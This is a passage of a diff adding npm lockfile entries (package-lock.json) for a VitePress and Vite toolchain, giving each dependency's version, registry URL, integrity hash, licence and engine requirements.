"sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/shiki": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/shiki/-/shiki-2.5.0.tgz", + "integrity": "sha512-mI//trrsaiCIPsja5CNfsyNOqgAZUb6VpJA+340toL42UpzQlXpwRV9nch69X6gaUxrr9kaOOa6e3y3uAkGFxQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@shikijs/core": "2.5.0", + "@shikijs/engine-javascript": "2.5.0", + "@shikijs/engine-oniguruma": "2.5.0", + "@shikijs/langs": "2.5.0", + "@shikijs/themes": "2.5.0", + "@shikijs/types": "2.5.0", + "@shikijs/vscode-textmate": "^10.0.2", + "@types/hast": "^3.0.4" + } + }, + "node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/sitemap": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/sitemap/-/sitemap-8.0.0.tgz", + "integrity": "sha512-+AbdxhM9kJsHtruUF39bwS/B0Fytw6Fr1o4ZAIAEqA6cke2xcoO2GleBw9Zw7nRzILVEgz7zBM5GiTJjie1G9A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "^17.0.5", + "@types/sax": "^1.2.1", + "arg": "^5.0.0", + "sax": "^1.2.4" + }, + "bin": { + "sitemap": "dist/cli.js" + }, + "engines": { + "node": ">=14.0.0", + "npm": ">=6.0.0" + } + }, + "node_modules/sitemap-ts": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/sitemap-ts/-/sitemap-ts-1.8.0.tgz", + "integrity": "sha512-QjsUjYRAyxYaVZuJ0E3u3sTaUzkmXf+QterxUVRas/7dfl+oLIOug2haQR6yLGc/+G2oQEHOj1CaT1b97Xon2Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@antfu/utils": "^0.7.8", + "fast-glob": "^3.3.2", + "sitemap": "^8.0.0", + "xml-formatter": "^3.6.2" + } + }, + "node_modules/sitemap/node_modules/@types/node": { + "version": "17.0.45", + "resolved": "https://registry.npmjs.org/@types/node/-/node-17.0.45.tgz", + "integrity": "sha512-w+tIMs3rq2afQdsPJlODhoUEKzFP1ayaoyl1CcnwtIlsVe7K7bA1NGm4s3PraqTLlXnbIN84zuBlxBWo1u9BLw==", + "dev": true, + "license": "MIT" + }, + "node_modules/smol-toml": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/smol-toml/-/smol-toml-1.3.1.tgz", + "integrity": "sha512-tEYNll18pPKHroYSmLLrksq233j021G0giwW7P3D24jC54pQ5W5BXMsQ/Mvw1OJCmEYDgY+lrzT+3nNUtoNfXQ==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">= 18" + }, + "funding": { + "url": "https://github.com/sponsors/cyyynthia" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/space-separated-tokens": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/space-separated-tokens/-/space-separated-tokens-2.0.2.tgz", + "integrity": "sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==", + "dev": true, + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/speakingurl": { + "version": "14.0.1", + "resolved": "https://registry.npmjs.org/speakingurl/-/speakingurl-14.0.1.tgz", + "integrity": "sha512-1POYv7uv2gXoyGFpBCmpDVSNV74IfsWlDW216UPjbWufNf+bSU6GdbDsxdcxtfwb4xlI3yxzOTKClUosxARYrQ==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/string-width": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", + "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/string-width-cjs": { + "name": "string-width", + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true, + "license": "MIT" + }, + "node_modules/string-width-cjs/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/stringify-entities": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/stringify-entities/-/stringify-entities-4.0.4.tgz", + "integrity": "sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg==", + "dev": true, + "license": "MIT", + "dependencies": { + "character-entities-html4": "^2.0.0", + "character-entities-legacy": "^3.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/strip-ansi": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", + "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/strip-ansi-cjs": { + "name": "strip-ansi", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi-cjs/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/stylis": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/stylis/-/stylis-4.3.4.tgz", + "integrity": "sha512-osIBl6BGUmSfDkyH2mB7EFvCJntXDrLhKjHTRj/rK6xLH0yuPrHULDRQzKokSOD4VoorhtKpfcfW1GAntu8now==", + "dev": true, + "license": "MIT" + }, + "node_modules/superjson": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/superjson/-/superjson-2.2.2.tgz", + "integrity": "sha512-5JRxVqC8I8NuOUjzBbvVJAKNM8qoVuH0O77h4WInc/qC2q5IreqKxYwgkga3PfA22OayK2ikceb/B26dztPl+Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "copy-anything": "^3.0.2" + }, + "engines": { + "node": ">=16" + } + }, + "node_modules/tabbable": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/tabbable/-/tabbable-6.2.0.tgz", + "integrity": "sha512-Cat63mxsVJlzYvN51JmVXIgNoUokrIaT2zLclCXjRd8boZ0004U4KCs/sToJ75C6sdlByWxpYnb5Boif1VSFew==", + "dev": true, + "license": "MIT" + }, + "node_modules/tinyexec": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-0.3.2.tgz", + "integrity": "sha512-KQQR9yN7R5+OSwaK0XQoj22pwHoTlgYqmUscPYoknOoWCWfj/5/ABTMRi69FrKU5ffPVh5QcFikpWJI/P1ocHA==", + "dev": true, + "license": "MIT" + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/trim-lines": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/trim-lines/-/trim-lines-3.0.1.tgz", + "integrity": "sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==", + "dev": true, + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/ts-dedent": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/ts-dedent/-/ts-dedent-2.2.0.tgz", + "integrity": "sha512-q5W7tVM71e2xjHZTlgfTDoPF/SmqKG5hddq9SzR49CH2hayqRKJtQ4mtRlSxKaJlR/+9rEM+mnBHf7I2/BQcpQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.10" + } + }, + "node_modules/uc.micro": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/uc.micro/-/uc.micro-2.1.0.tgz", + "integrity": "sha512-ARDJmphmdvUk6Glw7y9DQ2bFkKBHwQHLi2lsaH6PPmz/Ka9sFOBsBluozhDltWmnv9u/cF6Rt87znRTPV+yp/A==", + "dev": true, + "license": "MIT" + }, + "node_modules/ufo": { + "version": "1.5.4", + "resolved": "https://registry.npmjs.org/ufo/-/ufo-1.5.4.tgz", + "integrity": "sha512-UsUk3byDzKd04EyoZ7U4DOlxQaD14JUKQl6/P7wiX4FNvUfm3XL246n9W5AmqwW5RSFJ27NAuM0iLscAOYUiGQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/undici-types": { + "version": "6.20.0", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.20.0.tgz", + "integrity": "sha512-Ny6QZ2Nju20vw1SRHe3d9jVu6gJ+4e3+MMpqu7pqE5HT6WsTSlce++GQmK5UXS8mzV8DSYHrQH+Xrf2jVcuKNg==", + "dev": true, + "license": "MIT" + }, + "node_modules/unist-util-is": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-6.0.0.tgz", + "integrity": "sha512-2qCTHimwdxLfz+YzdGfkqNlH0tLi9xjTnHddPmJwtIG9MGsdbutfTc4P+haPD7l7Cjxf/WZj+we5qfVPvvxfYw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-is/node_modules/@types/unist": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", + "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/unist-util-position": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/unist-util-position/-/unist-util-position-5.0.0.tgz", + "integrity": "sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-position/node_modules/@types/unist": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", + "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/unist-util-stringify-position": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", + "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-stringify-position/node_modules/@types/unist": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", + "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/unist-util-visit": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-5.0.0.tgz", + "integrity": "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-is": "^6.0.0", + "unist-util-visit-parents": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-visit-parents": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-6.0.1.tgz", + "integrity": "sha512-L/PqWzfTP9lzzEa6CKs0k2nARxTdZduw3zyh8d2NVBnsyvHjSX4TWse388YrrQKbvI8w20fGjGlhgT96WwKykw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-is": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-visit-parents/node_modules/@types/unist": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", + "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/unist-util-visit/node_modules/@types/unist": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", + "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/uuid": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-9.0.1.tgz", + "integrity": "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA==", + "dev": true, + "funding": [ + "https://github.com/sponsors/broofa", + "https://github.com/sponsors/ctavan" + ], + "license": "MIT", + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/vfile": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.3.tgz", + "integrity": "sha512-KzIbH/9tXat2u30jf+smMwFCsno4wHVdNmzFyL+T/L3UGqqk6JKfVqOFOZEpZSHADH1k40ab6NUIXZq422ov3Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vfile-message": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-4.0.2.tgz", + "integrity": "sha512-jRDZ1IMLttGj41KcZvlrYAaI3CfqpLpfpf+Mfig13viT6NKvRzWZ+lXz0Y5D60w6uJIBAOGq9mSHf0gktF0duw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-stringify-position": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vfile-message/node_modules/@types/unist": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", + "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/vfile/node_modules/@types/unist": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", + "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/vite": { + "version": "6.2.7", + "resolved": "https://registry.npmjs.org/vite/-/vite-6.2.7.tgz", + "integrity": "sha512-qg3LkeuinTrZoJHHF94coSaTfIPyBYoywp+ys4qu20oSJFbKMYoIJo0FWJT9q6Vp49l6z9IsJRbHdcGtiKbGoQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "esbuild": "^0.25.0", + "postcss": "^8.5.3", + "rollup": "^4.30.1" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^18.0.0 || ^20.0.0 || >=22.0.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", + "jiti": ">=1.21.0", + "less": "*", + "lightningcss": "^1.21.0", + "sass": "*", + "sass-embedded": "*", + "stylus": "*", + "sugarss": "*", + "terser": "^5.16.0", + "tsx": "^4.8.1", + "yaml": "^2.4.2" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "jiti": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + }, + "tsx": { + "optional": true + }, + "yaml": { + "optional": true + } + } + }, + "node_modules/vite/node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/vitepress": { + "version": "1.6.3", + "resolved": "https://registry.npmjs.org/vitepress/-/vitepress-1.6.3.tgz", + "integrity": "sha512-fCkfdOk8yRZT8GD9BFqusW3+GggWYZ/rYncOfmgcDtP3ualNHCAg+Robxp2/6xfH1WwPHtGpPwv7mbA3qomtBw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@docsearch/css": "3.8.2", + "@docsearch/js": "3.8.2", + "@iconify-json/simple-icons": "^1.2.21", + "@shikijs/core": "^2.1.0", + "@shikijs/transformers": "^2.1.0", + "@shikijs/types": "^2.1.0", + "@types/markdown-it": "^14.1.2", + "@vitejs/plugin-vue": "^5.2.1", + "@vue/devtools-api": "^7.7.0", + "@vue/shared": "^3.5.13", + "@vueuse/core": "^12.4.0", + "@vueuse/integrations": "^12.4.0", + "focus-trap": "^7.6.4", + "mark.js": "8.11.1", + "minisearch": "^7.1.1", + "shiki": "^2.1.0", + "vite": "^5.4.14", + "vue": "^3.5.13" + }, + "bin": { + "vitepress": "bin/vitepress.js" + }, + "peerDependencies": { + "markdown-it-mathjax3": "^4", + "postcss": "^8" + }, + "peerDependenciesMeta": { + "markdown-it-mathjax3": { + "optional": true + }, + "postcss": { + "optional": true + } + } + }, + "node_modules/vitepress-plugin-mermaid": { + "version": "2.0.17", + "resolved": "https://registry.npmjs.org/vitepress-plugin-mermaid/-/vitepress-plugin-mermaid-2.0.17.tgz", + "integrity": "sha512-IUzYpwf61GC6k0XzfmAmNrLvMi9TRrVRMsUyCA8KNXhg/mQ1VqWnO0/tBVPiX5UoKF1mDUwqn5QV4qAJl6JnUg==", + "dev": true, + "license": "MIT", + "optionalDependencies": { + "@mermaid-js/mermaid-mindmap": "^9.3.0" + }, + "peerDependencies": { + "mermaid": "10 || 11", + "vitepress": "^1.0.0 || ^1.0.0-alpha" + } + }, + "node_modules/vitepress/node_modules/@esbuild/aix-ppc64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.21.5.tgz", + "integrity": "sha512-1SDgH6ZSPTlggy1yI6+Dbkiz8xzpHJEVAlF/AM1tHPLsf5STom9rwtjE4hKAF20FfXXNTFqEYXyJNWh1GiZedQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/android-arm": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.21.5.tgz", + "integrity": "sha512-vCPvzSjpPHEi1siZdlvAlsPxXl7WbOVUBBAowWug4rJHb68Ox8KualB+1ocNvT5fjv6wpkX6o/iEpbDrf68zcg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/android-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.21.5.tgz", + "integrity": "sha512-c0uX9VAUBQ7dTDCjq+wdyGLowMdtR/GoC2U5IYk/7D1H1JYC0qseD7+11iMP2mRLN9RcCMRcjC4YMclCzGwS/A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/android-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.21.5.tgz", + "integrity": "sha512-D7aPRUUNHRBwHxzxRvp856rjUHRFW1SdQATKXH2hqA0kAZb1hKmi02OpYRacl0TxIGz/ZmXWlbZgjwWYaCakTA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/darwin-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.21.5.tgz", + "integrity": "sha512-DwqXqZyuk5AiWWf3UfLiRDJ5EDd49zg6O9wclZ7kUMv2WRFr4HKjXp/5t8JZ11QbQfUS6/cRCKGwYhtNAY88kQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/darwin-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.21.5.tgz", + "integrity": "sha512-se/JjF8NlmKVG4kNIuyWMV/22ZaerB+qaSi5MdrXtd6R08kvs2qCN4C09miupktDitvh8jRFflwGFBQcxZRjbw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/freebsd-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.21.5.tgz", + "integrity": "sha512-5JcRxxRDUJLX8JXp/wcBCy3pENnCgBR9bN6JsY4OmhfUtIHe3ZW0mawA7+RDAcMLrMIZaf03NlQiX9DGyB8h4g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/freebsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.21.5.tgz", + "integrity": "sha512-J95kNBj1zkbMXtHVH29bBriQygMXqoVQOQYA+ISs0/2l3T9/kj42ow2mpqerRBxDJnmkUDCaQT/dfNXWX/ZZCQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/linux-arm": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.21.5.tgz", + "integrity": "sha512-bPb5AHZtbeNGjCKVZ9UGqGwo8EUu4cLq68E95A53KlxAPRmUyYv2D6F0uUI65XisGOL1hBP5mTronbgo+0bFcA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/linux-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.21.5.tgz", + "integrity": "sha512-ibKvmyYzKsBeX8d8I7MH/TMfWDXBF3db4qM6sy+7re0YXya+K1cem3on9XgdT2EQGMu4hQyZhan7TeQ8XkGp4Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/linux-ia32": { + "version": "0.21.5", + "resolved": 